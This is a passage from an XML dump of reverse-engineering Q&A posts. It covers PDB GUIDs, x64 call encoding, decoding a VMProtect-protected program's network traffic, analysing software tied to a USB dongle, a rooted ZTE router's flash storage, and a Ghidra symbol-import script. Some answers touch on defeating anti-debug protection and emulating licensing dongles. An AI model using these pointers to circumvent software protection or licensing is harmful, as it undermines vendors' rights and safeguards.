rel=&quot;noreferrer&quot;&gt;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/using-a-manifest-file-with-symchk&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To get the Debug GUID refer to &lt;a href=&quot;https://github.com/rajkumar-rangaraj/PDB-Downloader/blob/master/SymbolFetch/PeHeaderReader.cs&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/rajkumar-rangaraj/PDB-Downloader/blob/master/SymbolFetch/PeHeaderReader.cs&lt;/a&gt;&#xA;You need to extract from the PE Header’s debug directory refer to struct IMAGE_DEBUG_DIRECTORY_RAW&#xA;You can also look for structure starting with signature RSDS (0x53445352), is followed by a GUID (16 bytes), a counter (4 bytes) and then the PDB pathname.&lt;/p&gt;&#xA;&lt;p&gt;CLSID/ProgID are stored in the registry for &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm&quot; rel=&quot;noreferrer&quot;&gt;COM class objects&lt;/a&gt; under HKCR\CLSID which maps to HKLM\Software\Classes and HKCU\Software\Classes (in 32-bit and 64-bit views of registry) But this is the GUID for initializing the COM object, not related to the GUID used for PDB files.&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="2229" LastEditDate="2020-11-25T22:34:21.973" LastActivityDate="2020-11-25T22:34:21.973" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26377" PostTypeId="2" ParentId="26366" CreationDate="2020-11-25T22:52:59.420" Score="1" Body="&lt;p&gt;First make sure you are using correct calling convention, in 64-bit Windows most APIs expect parameters via registers not push.&#xA;An example of calling convention for 64-bit Windows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;lea r9d, uType         ; uType&#xA;lea r8, Caption        ; Caption    &#xA;lea rdx, Text          ; Text&#xA;mov rcx, hWnd          ; hWnd&#xA;Call cs:MessageBoxW &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is covered in more detailed in &lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-160&quot; rel=&quot;nofollow noreferrer&quot;&gt;x64 Calling Convention&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If the call instruction uses relative addresses you will need to adjust when relocating the code.&lt;/p&gt;&#xA;&lt;p&gt;As an example (These addresses will vary in MS Paint)&lt;/p&gt;&#xA;&lt;p&gt;At &lt;strong&gt;00007FF72599A000&lt;/strong&gt; import table starts&lt;/p&gt;&#xA;&lt;p&gt;At &lt;strong&gt;00007FF72599AFA0&lt;/strong&gt; entry for MessageBox:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;; int __stdcall MessageBoxW(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType)&#xA;extrn MessageBoxW:qword ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;At &lt;strong&gt;00007FF7258CA6A2&lt;/strong&gt; message box is called:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Call cs:MessageBoxW ( bytes FF 15 F8 08 0D 00 )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;AT &lt;strong&gt;00007FF7258CA6A2&lt;/strong&gt; message box is called:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Call cs:MessageBoxW ( bytes FF 15 09 5F 0A 00 )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can see from these bytes changes that the in this case the address is relative, so will need to be adjusted if relocating the code. Reading the processor documentation can explain the different call options, for example from &lt;a href=&quot;https://www.amd.com/system/files/TechDocs/24594.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;amd64 Architecture Programming Manual&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;NEAR CALLS&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Pushes the offset of the next instruction onto the stack and branches to the target address, which&#xA;contains the first instruction of the called procedure. The target operand can specify a register, a&#xA;memory location, or a label. A procedure accessed by a near CALL is located in the same code&#xA;segment as the CALL instruction.&#xA;If the CALL target is specified by a register or memory location, then a 16-, 32-, or 64-bit rIP is read&#xA;from the operand, depending on the operand size. A 16- or 32-bit rIP is zero-extended to 64 bits.&#xA;If the CALL target is specified by a displacement, the signed displacement is added to the rIP (of the&#xA;following instruction), and the result is truncated to 16, 32, or 64 bits, depending on the operand size.&#xA;The signed displacement is 16 or 32 bits, depending on the operand size.&#xA;In all cases, the rIP of the instruction after the CALL is pushed on the stack, and the size of the stack&#xA;push (16, 32, or 64 bits) depends on the operand size of the CALL instruction.&#xA;For near calls in 64-bit mode, the operand size defaults to 64 bits. The E8 opcode results in&#xA;RIP = RIP + 32-bit signed displacement and the FF /2 opcode results in RIP = 64-bit offset from&#xA;register or memory. No prefix is available to encode a 32-bit operand size in 64-bit mode.&#xA;At the end of the called procedure, RET is used to return control to the instruction following the&#xA;original CALL. When RET is executed, the rIP is popped off the stack, which returns control to the&#xA;instruction after the CALL.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CALL rel16off&lt;/strong&gt; ( &lt;strong&gt;E8 iw&lt;/strong&gt; ) Near call with the target specified by a 16-bit relative&#xA;displacement.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CALL rel32off&lt;/strong&gt; ( &lt;strong&gt;E8 id&lt;/strong&gt; ) Near call with the target specified by a 32-bit relative&#xA;displacement.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CALL reg/mem16 ( FF /2&lt;/strong&gt; ) Near call with the target specified by reg/mem16.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CALL reg/mem32 ( FF /2 )&lt;/strong&gt; Near call with the target specified by reg/mem32. (There&#xA;is no prefix for encoding this in 64-bit mode.)&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CALL reg/mem64 (FF /2)&lt;/strong&gt; Near call with the target specified by reg/mem64.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;FAR CALLS&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Pushes procedure linking information onto the stack and branches to the target address, which contains&#xA;the first instruction of the called procedure. The operand specifies a target selector and offset.&#xA;The instruction can specify the target directly, by including the far pointer in the immediate and&#xA;displacement fields of the instruction, or indirectly, by referencing a far pointer in memory. In 64-bit&#xA;mode, only indirect far calls are allowed; executing a direct far call (opcode 9A) generates an&#xA;undefined opcode exception. For both direct and indirect far calls, if the CALL (Far) operand-size is&#xA;16 bits, the instruction's operand is a 16-bit offset followed by a 16-bit selector. If the operand-size is&#xA;32 or 64 bits, the operand is a 32-bit offset followed by a 16-bit selector.&#xA;The target selector used by the instruction can be a code selector in all modes. Additionally, the target&#xA;selector can reference a call gate in protected mode, or a task gate or TSS selector in legacy protected&#xA;mode.&#xA;• Target is a code selector—The CS:rIP of the next instruction is pushed to the stack, using operandsize stack pushes. Then code is executed from the target CS:rIP. In this case, the target offset can&#xA;only be a 16- or 32-bit value, depending on operand-size, and is zero-extended to 64 bits. No CPL&#xA;change is allowed.&lt;/p&gt;&#xA;&lt;p&gt;• Target is a call gate—The call gate specifies the actual target code segment and offset. Call gates&#xA;allow calls to the same or more privileged code. If the target segment is at the same CPL as the&#xA;current code segment, the CS:rIP of the next instruction is pushed to the stack.&#xA;If the CALL (Far) changes privilege level, then a stack-switch occurs, using an inner-level stack&#xA;pointer from the TSS. The CS:rIP of the next instruction is pushed to the new stack. If the mode is&#xA;legacy mode and the param-count field in the call gate is non-zero, then up to 31 operands are&#xA;copied from the caller's stack to the new stack. Finally, the caller's SS:rSP is pushed to the new&#xA;stack.&#xA;When calling through a call gate, the stack pushes are 16-, 32-, or 64-bits, depending on the size of&#xA;the call gate. The size of the target rIP is also 16, 32, or 64 bits, depending on the size of the call&#xA;gate. If the target rIP is less than 64 bits, it is zero-extended to 64 bits. Long mode only allows 64-&#xA;bit call gates that must point to 64-bit code segments.&lt;/p&gt;&#xA;&lt;p&gt;• Target is a task gate or a TSS—If the mode is legacy protected mode, then a task switch occurs.&#xA;See “Hardware Task-Management in Legacy Mode” in volume 2 for details about task switches.&#xA;Hardware task switches are not supported in long mode.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CALL FAR pntr16:16&lt;/strong&gt; (&lt;strong&gt;9A cd&lt;/strong&gt;) Far call direct, with the target specified by a far pointer&#xA;contained in the instruction. (Invalid in 64-bit mode.)&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CALL FAR pntr16:32&lt;/strong&gt; ( &lt;strong&gt;9A cp&lt;/strong&gt; ) Far call direct, with the target specified by a far pointer&#xA;contained in the instruction. (Invalid in 64-bit mode.)&#xA;&lt;strong&gt;CALL FAR mem16:16&lt;/strong&gt; ( &lt;strong&gt;FF /3&lt;/strong&gt; ) Far call indirect, with the target specified by a far pointer&#xA;in memory.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CALL FAR mem16:32&lt;/strong&gt; (&lt;strong&gt;FF /3&lt;/strong&gt;) Far call indirect, with the target specified by a far pointer&#xA;in memory&lt;/p&gt;&#xA;&lt;p&gt;Further info can be found in &lt;a href=&quot;https://software.intel.com/content/www/us/en/develop/download/intel-64-and-ia-32-architectures-sdm-combined-volumes-1-2a-2b-2c-2d-3a-3b-3c-3d-and-4.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intel® 64 and IA-32 Architectures Software Developer’s Manual Combined Volumes: 1, 2A, 2B, 2C, 2D, 3A, 3B, 3C, 3D, and 4&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="2229" LastEditDate="2020-11-26T00:03:01.233" LastActivityDate="2020-11-26T00:03:01.233" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26378" PostTypeId="1" CreationDate="2020-11-26T11:49:06.450" Score="1" ViewCount="118" Body="&lt;p&gt;I am trying to reverse a virtualized program (using VMProtect 3.4.x). I decided to hook certain functions of the program such as the winsocks library send() and recv().&lt;/p&gt;&#xA;&lt;p&gt;This is how it looks like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[monitor] send() buf: ╣▒√≈o└┼└1£ len: 12 flags: 0&#xA;[monitor] recv() buf: ╣▒√≈o└═└1£ len: 12 flags: 0&#xA;[monitor] recv() buf: ï|W,7¼≤╛ len: 8 flags: 0&#xA;[monitor] send() buf: √X╥(£!◄▀√εPî'Zë¬08ê£½╘╤µ0ßºÉ╥╬=S3τU_╜µⁿºi┼²f░uw╦╖TX▓°┼ùΘ¿╡ len: 58 flags: 0&#xA;[monitor] recv() buf: √X╥(₧!◄▀╘εPî len: 12 flags: 0&#xA;[monitor] recv() buf: % len: 1 flags: 0&#xA;[monitor] send() buf: √X╥(Æ!◄▀òεPîT♂╥πc_╨ÿ╒╜ùΓzï╟ÿ▐Ω§Sc┘9~ïσµ┤P╟σRà⌂X╚éT2╪²µ╛Γ╓π≡3r~╗l╘O╓▀]PÖån╟Ç½ len: 76 flags: 0&#xA;[monitor] recv() buf: √X╥(₧!◄▀╘εPî len: 12 flags: 0&#xA;[monitor] recv() buf: % len: 1 flags: 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Another run:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[monitor] send() buf: ╣▒√≈o└┼└1£ len: 12 flags: 0&#xA;[monitor] recv() buf: ╣▒√≈o└═└1£ len: 12 flags: 0&#xA;[monitor] recv() buf: ïxS*4¬≤╗ len: 8 flags: 0&#xA;[monitor] send() buf: F►²cgTα2╬|4÷«ÄY░Θs*Bít╡Yl⌠rp↑↑─╨¶WD┬☼«U;÷ƒçz▼╣┐┌n╘Γ│óHUU len: 58 flags: 0&#xA;[monitor] recv() buf: F►²ceTα2ß|4÷ len: 12 flags: 0&#xA;[monitor] recv() buf: ¼ len: 1 flags: 0&#xA;[monitor] send() buf: F►²ciTα2á|4÷▌▀☻∙║¶rF▀↔≤]&amp;amp;₧↕x¶&amp;lt;∞╨Di(π9¡O(╧¥ƒN2§û╝∩n╛ê╢$ïC+♥σ╠n▄E÷sÿ↑¬╗z°☻═a] len: 76 flags: 0&#xA;[monitor] recv() buf: F►²ceTα2ß|4÷ len: 12 flags: 0&#xA;[monitor] recv() buf: ¼ len: 1 flags: 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I would like to know what is being send and received. I don't know how the final buffer will look like. Given the fact that there are some repeating symbols I don't think any complex algorithm is used.&lt;/p&gt;&#xA;&lt;p&gt;Is there any (somewhat) easy way to figure it out or do I have to go though the virtualized code?&lt;/p&gt;&#xA;" OwnerUserId="20549" LastActivityDate="2020-12-02T06:17:58.847" Title="Figuring out encryption technique of network connection" Tags="|windows|encryption|virtualizers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26379" PostTypeId="2" ParentId="26358" CreationDate="2020-11-26T13:54:03.503" Score="0" Body="&lt;p&gt;My first approach would be, to collect traces from working system:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/usbcon/usb-event-tracing-for-windows&quot; rel=&quot;nofollow noreferrer&quot;&gt;USB Event Tracing for Windows&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If from this information cannot work out what is going on a software protocol analyzer, such as these:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://USBTrace%20:%20USB%20Protocol%20Analyzer%20Software%20for%20Windows&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.sysnucleus.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.usblyzer.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.usblyzer.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://wiki.wireshark.org/CaptureSetup/USB&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://wiki.wireshark.org/CaptureSetup/USB&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Sometimes I have had different results with a different tool so it can be worth trying different software protocol analyzers for your scenario. If this is not sufficient, in some cases it is necessary to finally resort to a hardware USB protocol analyzer. These can sit between the USB port and the device and capture everything without relying on software within the PC, helpful if the driver is explicitly trying to block/bypass software protocol analyzer.&lt;/p&gt;&#xA;&lt;p&gt;I'm not familiar with this particular device but in some cases the detection is more complicated then simply detected particular type of device connected, in some case the USB device may contain information that the application would not be able to run unless that data was available.&lt;/p&gt;&#xA;&lt;p&gt;Depending on your requirements sometimes a solution such as &lt;a href=&quot;https://www.donglify.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;donglify&lt;/a&gt; which allows sharing USB dongles over a network can help meet needs.&lt;/p&gt;&#xA;&lt;p&gt;For complex scenarios a complete dongle emulation is required. You may find examples of other work in this area searching internet for information on copying / emulating USB dongles, however there is not one generic solution for this.&lt;/p&gt;&#xA;&lt;p&gt;If the actual working device is not available then I would use a combination of the following tools to analyze the program that is not launching without the hardware:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/procmon&quot; rel=&quot;nofollow noreferrer&quot;&gt;Process Monitor&lt;/a&gt; With this tool easy to observe if application is looking for specific files or registry keys.&#xA;&lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow noreferrer&quot;&gt;API Monitor&lt;/a&gt; Can analyze the app at the Windows API level. For example simply monitoring the C++ Runtime &amp;quot;Strings&amp;quot; operations may determine what it is looking for exactly.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-debugging-record&quot; rel=&quot;nofollow noreferrer&quot;&gt;WinDbg Time Travel Debugging&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Reverse engineering software such as &lt;a href=&quot;https://www.hex-rays.com/products/ida/&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA Pro&lt;/a&gt; / &lt;a href=&quot;https://ghidra-sre.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ghidra&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="2229" LastEditDate="2020-11-26T22:44:55.720" LastActivityDate="2020-11-26T22:44:55.720" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="26380" PostTypeId="2" ParentId="26378" CreationDate="2020-11-27T09:08:06.780" Score="1" Body="&lt;p&gt;For static analysis, you can use &lt;a href=&quot;https://github.com/anatolikalysch/VMAttack&quot; rel=&quot;nofollow noreferrer&quot;&gt;VMAttack&lt;/a&gt; plugin for IDA pro. Or if you wanna find how the buffer is built before it's sent you can try &lt;a href=&quot;https://github.com/x64dbg/ScyllaHide&quot; rel=&quot;nofollow noreferrer&quot;&gt;ScyllaHide&lt;/a&gt; plugin for x64dbg to debug the VmProtected executable. This plugin will help you overcome VMprotect's anti-debug and anti-vm protections. After that simply put a breakpoint on those calls that you hooked and follow the execution flow to figure out how the encryption works. In either case you'll need to deal with the virtualized instructions&lt;/p&gt;&#xA;" OwnerUserId="20848" LastActivityDate="2020-11-27T09:08:06.780" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26382" PostTypeId="2" ParentId="26378" CreationDate="2020-11-27T16:35:57.703" Score="1" Body="&lt;p&gt;Post the data as hex. 100 messages would be great.&lt;/p&gt;&#xA;&lt;p&gt;Are you using ANSI encoding to make patterns in the data easier to see?&lt;/p&gt;&#xA;&lt;p&gt;My guess is there's something like ROT or an xor going on here with messages [monitor] recv() buf: ï|W,7¼≤╛ and [monitor] recv() buf: ïxS*4¬≤╗ being the key the server wants the client to use as that's the first place they change between runs. I've broken apart the messages based on where values change between messages. Those would be places where either the length of the message is indicated or the function of the message is indicated. For example (£,₧) and (√,╘).&lt;/p&gt;&#xA;&lt;p&gt;You can take the message length for the variable length parts and that will get you the values for £ or √  and  Æ or ò subject to some common transform. That should be the path to figuring out how it's encoded.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[monitor] send() buf: ╣▒√≈o└    ┼   └1£ &#xA;[monitor] recv() buf: ╣▒√≈o└    ═   └1£ &#xA;&#xA;[monitor] recv() buf: ï |W,7¼≤╛ &#xA;&#xA;[monitor] send() buf: √X╥(  £   !◄▀ √   εPî     'Zë¬08ê£½╘╤µ0ßºÉ╥╬=S3τU_╜µⁿºi┼²f░uw╦╖TX▓°┼ùΘ¿╡                  &#xA;[monitor] recv() buf: √X╥(  ₧   !◄▀ ╘   εPî                                                                     &#xA;&#xA;[monitor] recv() buf: %                                                                                 &#xA;&#xA;[monitor] send() buf: √X╥(  Æ   !◄▀ ò   εPî     T♂╥πc_╨ÿ╒╜ùΓzï╟ÿ▐Ω§Sc┘9~ïσµ┤P╟σRà⌂X╚éT2╪²µ╛Γ╓π≡3r~╗l╘O╓▀]PÖån╟Ç½ &#xA;[monitor] recv() buf: √X╥(  ₧   !◄▀ ╘   εPî                                                                     &#xA;&#xA;[monitor] recv() buf: %                                                                                 &#xA;&#xA;&#xA;&#xA;[monitor] send() buf: ╣▒√≈o└    ┼   └1£                                                                     &#xA;[monitor] recv() buf: ╣▒√≈o└    ═   └1£                                                                         &#xA;&#xA;[monitor] recv() buf: ï xS*4¬≤╗ &#xA;&#xA;[monitor] send() buf: F►²c  g   Tα2 ╬   |4÷     «ÄY░Θs*Bít╡Yl⌠rp↑↑─╨¶WD┬☼«U;÷ƒçz▼╣┐┌n╘Γ│óHUU &#xA;[monitor] recv() buf: F►²c  e   Tα2 ß   |4÷ &#xA;&#xA;[monitor] recv() buf: ¼ &#xA;&#xA;[monitor] send() buf: F►²c  i   Tα2 á   |4÷     ▌▀☻∙║¶rF▀↔≤]&amp;amp;₧↕x¶&amp;lt;∞╨Di(π9¡O(╧¥ƒN2§û╝∩n╛ê╢$ïC+♥σ╠n▄E÷sÿ↑¬╗z°☻═a] &#xA;[monitor] recv() buf: F►²c  e   Tα2 ß   |4÷ &#xA;&#xA;[monitor] recv() buf: ¼ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34929" LastEditorUserId="34929" LastEditDate="2020-12-02T06:17:58.847" LastActivityDate="2020-12-02T06:17:58.847" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26383" PostTypeId="1" CreationDate="2020-11-27T20:11:06.363" Score="1" ViewCount="307" Body="&lt;p&gt;I am working on reversing a router for which I cannot find downloadable firmware anywhere. I managed to get a root shell on the router. I am now confused as I cannot see any persistent writeable mounts. Most are tmpfs filesystems, one is a sysfs which as far as I understand is not an actual filesystem, and /dev/mtdblock7 which is a squashfs filesystem (and is readonly). Where is the persistent storage that keeps my configurations? What am I missing here?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# mount&#xA;/dev/mtdblock7 on / type squashfs (ro,relatime)&#xA;/proc on /proc type proc (rw,relatime)&#xA;tmpfs on /var type tmpfs (rw,relatime,size=15360k)&#xA;tmpfs on /mnt type tmpfs (rw,relatime,size=16k)&#xA;sysfs on /sys type sysfs (rw,relatime)&#xA;tmpfs on /tmp type tmpfs (rw,relatime,size=3096k)&#xA;none on /proc/bus/usb type usbfs (rw,relatime)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Board&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is a ZTE router, the board has a printed label that says: &lt;code&gt;ZXHN H367N V1.0&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The default update file that uboot looks for when booting over tftp is called &lt;code&gt;H367N_image.bin&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Running zcu signature on the config file gives &lt;code&gt;ZXDSL 931VII V3.0&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The decryption password used to decrypt and encrypt the file is the same as the one used in &lt;code&gt;ZXHN H208N&lt;/code&gt; according to &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11626/zte-encrypted-backup-config-file#answer-25255&quot;&gt;this&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Also, I remember seeing &lt;code&gt;H368N&lt;/code&gt; somewhere, but I'm not sure where.&lt;/p&gt;&#xA;&lt;p&gt;Finally I found paths that have the directory &lt;code&gt;H367N_Develop_UGW5.4&lt;/code&gt; in them.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;mtdblocks&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;(This is a summary of what binwalk found)&lt;/p&gt;&#xA;&lt;p&gt;mtdblock0:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;List item crc&lt;/li&gt;&#xA;&lt;li&gt;uImage header &amp;quot;u-boot image&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;lzma&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;mtdblock1:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;UBI erease count header&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;mtdblock2:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;nothing found&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;mtdblock3:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;uImage header &amp;quot;GPHY Firmware&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;lzma compression&lt;/li&gt;&#xA;&lt;li&gt;uImage header &amp;quot;GPHY Firmware&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;lzma compression&lt;/li&gt;&#xA;&lt;li&gt;zlib compressed data&lt;/li&gt;&#xA;&lt;li&gt;PEM RSA private key&lt;/li&gt;&#xA;&lt;li&gt;PEM certificate&lt;/li&gt;&#xA;&lt;li&gt;uImage header &amp;quot;MIPS LTQCPE Linux-2.6.32.42&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;lzma&lt;/li&gt;&#xA;&lt;li&gt;squashfs&lt;/li&gt;&#xA;&lt;li&gt;uImage header &amp;quot;MIPS LTQCPE Linux-2.6.32.42&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;lzma&lt;/li&gt;&#xA;&lt;li&gt;squashfs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;mtdblock4:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;uImage header &amp;quot;GPHY Firmware&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;lzma&lt;/li&gt;&#xA;&lt;li&gt;uImage header &amp;quot;GPHY Firmware&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;lzma&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;mtdblock5:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;zlib compressed data&lt;/li&gt;&#xA;&lt;li&gt;PEM RSA private key&lt;/li&gt;&#xA;&lt;li&gt;PEM certificate&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;mtdblock6:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;uImage header &amp;quot;MIPS LTQCPE Linux-2.6.32.42&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;lzma&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;mtdblock7:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;squashfs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;mtdblock8:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;uImage header &amp;quot;MIPS LTQCPE Linux-2.6.32.42&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;lzma&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;mtdblock9:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;squashfs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;mtdblock10:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;nothing&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;mtdblock11:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;nothing&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;mtdblock6 and mtdblock8 are identical&#xA;mtdblock7 and mtdblock9 are identical&#xA;mtdblock3 contains the same binary as mtdblocks 6,7,8 and 9, and likely others as well.&lt;/p&gt;&#xA;&lt;p&gt;I tried remounting /dev/mtdblock7 but failed. Maybe I did something wrong but my understanding is that squashfs should not be writable in any case.&lt;/p&gt;&#xA;" OwnerUserId="35048" LastEditorUserId="35048" LastEditDate="2020-11-30T20:12:44.853" LastActivityDate="2020-11-30T20:12:44.853" Title="Where is the persistent storage on this router?" Tags="|firmware|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26384" PostTypeId="2" ParentId="21895" CreationDate="2020-11-27T21:31:26.407" Score="1" Body="&lt;p&gt;Wow that 'ImportSymbolsScript' helped. I 'turned down' that mapfile from&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;  Address         Publics by Value&#xA;&#xA; 0001:0000       byte_0&#xA; 0001:001A       start&#xA; 0001:00D1       __nomain&#xA; 0001:00D8       _fclose&#xA; 0001:01DA       __fsopen&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;into:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0001:0000       byte_0&#xA;0001:001A       start&#xA;0001:00D1       __nomain&#xA;0001:00D8       _fclose&#xA;0001:01DA       __fsopen&#xA;0001:0214       _fopen&#xA;0001:0234       __close&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;... and modded ImportSymbolsScript.py in GHIDRA 'basic editor' like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# Imports a file with lines in the form &amp;quot;0xSEGMENT:0xADDRESS symbolName&amp;quot;&#xA;# @category Data&#xA;# @author &#xA;&#xA;f = &amp;quot;c:\Tools\!Temp\Portable_VB6\Vs6sp6B\setupsp6.map.txt&amp;quot;&#xA;  # f.askFile(&amp;quot;Give me a file to open&amp;quot;, &amp;quot;Go baby go!&amp;quot;)&#xA;&#xA;  # for line in file(f.absolutePath):  # note, cannot use open(), since that is in GhidraScript&#xA;for line in file(f):  # note, cannot use open(), since that is in GhidraScript&#xA;&#xA;    pieces        = line.split()&#xA;    (segm,offset) = pieces[0].split(&amp;quot;:&amp;quot;)&#xA;    segm          = &amp;quot;1000&amp;quot; # dirty hack !!!&#xA;    address       = toAddr(long(segm + offset, 16))&#xA;    &#xA;    print &amp;quot;creating symbol&amp;quot;, pieces[1], &amp;quot;at address&amp;quot;, address&#xA;    createLabel( address, pieces[1], False )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Basically changes are:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Changed the input order for pieces[]&lt;/li&gt;&#xA;&lt;li&gt;Added support for segment offset&lt;/li&gt;&#xA;&lt;li&gt;Hard coded file path for better workflow when modding/debugging the script (f = ...)&lt;/li&gt;&#xA;&lt;li&gt;Added that &lt;code&gt;&amp;quot;1000&amp;quot; +&lt;/code&gt; part into toAddr() to simulate the need segment 